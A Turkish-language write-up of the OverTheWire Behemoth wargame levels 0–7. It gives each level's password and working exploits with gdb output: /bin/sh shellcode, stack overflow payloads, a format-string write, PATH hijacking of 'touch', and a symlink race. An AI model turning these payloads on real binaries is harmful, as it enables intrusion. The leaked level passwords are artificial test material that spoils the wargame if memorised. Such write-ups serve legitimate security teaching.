OverTheWire - Behemoth Writeups

Behemoth: Level 0 Writeup​

Kod:
ssh [email protected] -p 2221
password: behemoth0
3c9902da6cc42ef54bee39be2cc0cbfc15bf0a84.png


ltrace aracılığı ile programımızı çalıştırıp çıktıyı incelediğimiz zaman bizden istediği parolanın eatmyshorts olduğunu görüyoruz. Bu parolayı programımızı çalıştırıp yazdığımız zaman shellimiz gelecektir. Geriye kalan sadece behemoth1 kullanıcısının parolasının olduğu dosyayı okumak.

behemoth1:aesebootiv

Behemoth: Level 1 Writeup​

Kod:
ssh [email protected] -p 2221
password: aesebootiv
Programımızda stack tabanlı buffer overflow açığı mevcut. Hızlıca kaç byte’dan sonra EIP üzerine yazdığımızı bulalım

f4813b773f821869c7357c50c005075c0c889427.png


Evet 71 karakterden sonra EIP registerını kontrol edebiliyoruz. O zaman ortam değişkenlerimize bir adet shellcode ekleyelim ve bunun adresini EIP'ye yazdırarak shellimizi alalım.
Kod:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
Kod:
export SHELL=$(python -c 'print "\x90"*32 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*32 ')
25e5a7e3b8f4c079bdeb31d19f3593f6be37bb42.png


Ve gördüğünüz gibi shellimiz geldi. Artık behemoth2 kullanıcısının parolasını okuyabiliriz

behemoth2:eimahquuof

Behemoth: Level 2 Writeup​

Kod:
ssh [email protected] -p 2221
password: eimahquuof
be3b675fed5c4d3ff54a47406af2838cb2c1fbdc.png


ltrace ile programımızı incelediğimiz zaman system fonksiyonu ile touch komutu çalıştırıyor. Eğer biz kendimiz touch isimli bir dosya oluşturup içerisine çalıştırmak istediğimiz komutu yazarsak ve bunu PATH'e eklersek, programımızı çalıştırdığımızda oluşturmuş olduğumuz dosya devreye girecek ve içindeki komut çalışacaktır.

Burda dikkat etmemiz gereken şey oluşturduğumuz touch isimli dosyanın çalıştırılabilir olması ve PATH'e eklenmesi.

Onun dışında iki farklı senaryo izleyebilirsiniz. İsterseniz direk cat /etc/behemoth_pass/behemoth3 komutunu çalıştırıp parolayı okuyabilir veya /bin/sh komutunu çalıştırıp tekrardan elle parolayı okuyabilirsiniz

c255c7d63fbc8e3bea72f58c95947f57d5312bcb.png


aeb99aaa820d7ec958d152d81f1965e45fd8b2d9.png


behemoth3:nieteidiel

Behemoth: Level 3 Writeup​

Kod:
ssh [email protected] -p 2221
password: nieteidiel
da313c15063b74c866c7429ebd3a2dd71ccefc52.png


Programımızı gdb ile açıp incelediğimiz zaman aklımıza hemen burda bir format string zafiyeti olabileceği kuşkusu düşüyor. Vakit kaybetmeden hemen test ediyoruz bakalım cidden var mı böyle bir zafiyet…

5706206333d2bd8a0cdaecaba5c77e857f87e141.png


Evet kuşkulanmakta yanılmamışız. Nur topu gibi bir format string zafiyetimiz oldu :) Zafiyeti sömürmek için ihtiyacımız olan puts func adresinide öğrendik.

Ancak burda bilmemiz gereken bir husus var. Eğer yazmak istediğimiz adresin decimal karşılığı çok büyükse o zaman bunu iki parça halinde yazmamız gerekecek. Yani ilk önce 0x80497ac adresini \xac\x97\x04\x08 ve \xae\x97\x04\x08 olarak iki parçaya ayıracaz. Daha sonra stack alanına
yazacağımız shellcode adresinide decimal olarak iki parça halinde yazacağız. Tabi onunda bir püf noktası var öyle kafamıza göre yazamayız. Mesela adresimiz 0xffffdecb olsun. Öncelikle düşük adres olan 0xdecb'yi alıyoruz ve öncesinde 8 byte yazdığımız için bundan 0x8 çıkararak decimal karşılığını buluyoruz. Daha sonra yüksek adresten düşük adresi çıkararak onunda decimal karşılığını buluyoruz (0xffff - 0xdecb = 8500 gibi)

e9bc41ee4b0cf2179c15fd6e186dc3859decaa09.png


Yazdığımız değerler ilk sırada yer aldığında %1$n%2$n kullanıyorduk ancak bizim durumumuzda yüksek bir değeri iki parça halinde yazmamız gerektiği ve bununda daha sonra birleşmesi gerektiği için %1$hn%2$hn şeklinde yazacağız. Kısaca son halinin %57027%1$hn%8500%2$hn gibi olması gerekecek.

Bu kısım da anlaşıldıysa eğer shellcode’u ortam değişkeni olarak ekleyip adresini öğrenelim ve payloadımızı tamamlayalım
Kod:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
Kod:
export SHELL=$(python -c 'print "\x90"*32 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*32 ')
2fd56e778aaac522c1a7e605db9ff9f1e697f327.png


8caa7f21f2192922a2a5c9929bcb8bf282e56249.png


Ve gördüğümüz üzere shellcode başarıyla görevini yerine getirdi.

behemoth4:ietheishei

Behemoth: Level 4 Writeup​

Kod:
ssh [email protected] -p 2221
password: ietheishei
3a04aa0bf7c82b849517c5fd5ad8fb211992c3ff.png


Programı çalıştırdığımız zaman PID not found diyerek bir hata veriyor. Yani aslında olmayan bir PID arıyor. Eğer biz program başladığı sırada duraklatıp aradığı PID ismine sahip bir dosya oluşturup onu da okumak istediğimiz parola dosyası ile sembolik bağlantısını kursak ve en sonunda da işlemi geri devam ettirsek nasıl olur 🤔
Kod:
/behemoth/behemoth4&
PID=$!
kill -STOP $PID
ln -s /etc/behemoth_pass/behemoth5 /tmp/$PID
kill -CONT $PID
echo $PID
30f94f2e4d17cf4dbcc879ce6ee0cd5e71000795.png


behemoth5:aizeeshing

Behemoth: Level 5 Writeup​

Kod:
ssh [email protected] -p 2221
password: aizeeshing
6fe9d807fb9d0f344b332a1f3173615c6c3a0638.png


Aslında programımız istediğimiz dosyayı okumaya çalışıyor ancak bir nedenden ötürü hata alıyor. Bunun sebebini anlamak için gdb ile açıp detaylıca inceleyelim

5610fc339af8024e13637a20c1d6512db4cc8afc.png


Burda dikkatimizi çekmesi gereken 2 tane husus var. Öncelikle dikkat ederseniz push 0x0, push 0x2, push 0x2, call socket@plt işlemi görülmekte. Peki bu socketi nereye açıyor kime açıyor nasıl açıyor… ? Tabi bununda bir püf noktası var. socket işlemini çağırmadan önce stack’e gönderdiği şeylerin bir anlamı var
Kod:
0x0 => IPPROTO_IP
0x2 => UDP
0x2 => IPv4
Pekala UDP üzerinden bir socket açıp veri gönderdiğini düşünüyoruz artık ama hangi port ? Onu da atoi@plt çağrısı yapılmadan önce stack içerisine pushlanan değerden öğrenebiliriz.
Kod:
(gdb) x/s 0x80489e4
0x80489e4:    "1337"
(gdb)
2d193ed5856c0f2d1eee182488924ccb2fef37b6.png


behemoth6:mayiroeche

Behemoth: Level 6 Writeup​

Kod:
ssh [email protected] -p 2221
password: mayiroeche

Behemoth: Level 7 Writeup​

Kod:
ssh [email protected] -p 2221
password: baquoxuafo
ffd667075c6867043102e268652ec13e93b80d8e.png


Debugger üzerinde incelemeye başladığımızda stack içerisinden 0x20c kadar bir alan ayrıldığını görüyoruz.
Kod:
>>> 0x20c
524
Bunun kaç karaktere tekamül ettiğini öğrendikten sonra EIP üzerine acaba birşeyler yazabilir miyiz diye test edelim.
Kod:
(gdb) r $(python -c 'print "A"*524 + "BBBB" + "CCCC" + "DDDD" + "EEEE" + "FFFF"')
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*524 + "BBBB" + "CCCC" + "DDDD" + "EEEE" + "FFFF"')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)
Evet tahminlerimiz doğru çıktı ve EIP registerını kontrol etmeyi başardık. Bundan sonrası klasik stack tabanlı buffer overflow zafiyetini exploit etme yöntemi olacak.

Stack içerisine shellcode yükleyip bu shellcode’un önünede biraz NOP ekleyerek EIP üzerine bu NOP adreslerinin bulunduğu kısımlardan bir adres yazacağız ve shellcode’u çalıştıracağız
Kod:
(gdb) r $(python -c 'print "A"*528 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*528 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/64x $esp
0xffffd320:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd330:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd340:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd350:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd360:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd370:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd380:    0x90909090    0x6850c031    0x68732f2f    0x69622f68
0xffffd390:    0x89e3896e    0xb0c289c1    0x3180cd0b    0x80cd40c0
0xffffd3a0:    0x08048600    0xf7fe9070    0xffffd3ac    0xf7ffd920
0xffffd3b0:    0x00000002    0xffffd50d    0xffffd521    0x00000000
0xffffd3c0:    0xffffd7b6    0xffffd7c9    0xffffdd85    0xffffdda0
0xffffd3d0:    0xffffddd6    0xffffddeb    0xffffde03    0xffffde12
0xffffd3e0:    0xffffde23    0xffffde3a    0xffffde4e    0xffffde5d
0xffffd3f0:    0xffffde6b    0xffffde74    0xffffde89    0xffffdeac
0xffffd400:    0xffffdec3    0xffffdeda    0xffffdeed    0xffffdef9
0xffffd410:    0xffffdf12    0xffffdf22    0xffffdf36    0xffffdf41
(gdb)
Kod:
(gdb) r $(python -c 'print "A"*528 + "\x40\xd3\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*528 + "\x40\xd3\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
process 24707 is executing new program: /bin/dash
$ id
uid=13007(behemoth7) gid=13007(behemoth7) groups=13007(behemoth7)
$
fa4d6eb817584c11dc94db1d30ece714fac73767.png


behemoth8:pheewij7Ae

Böylelikle behemoth makinesindeki sorularıda halletmiş olduk :)
 
Üst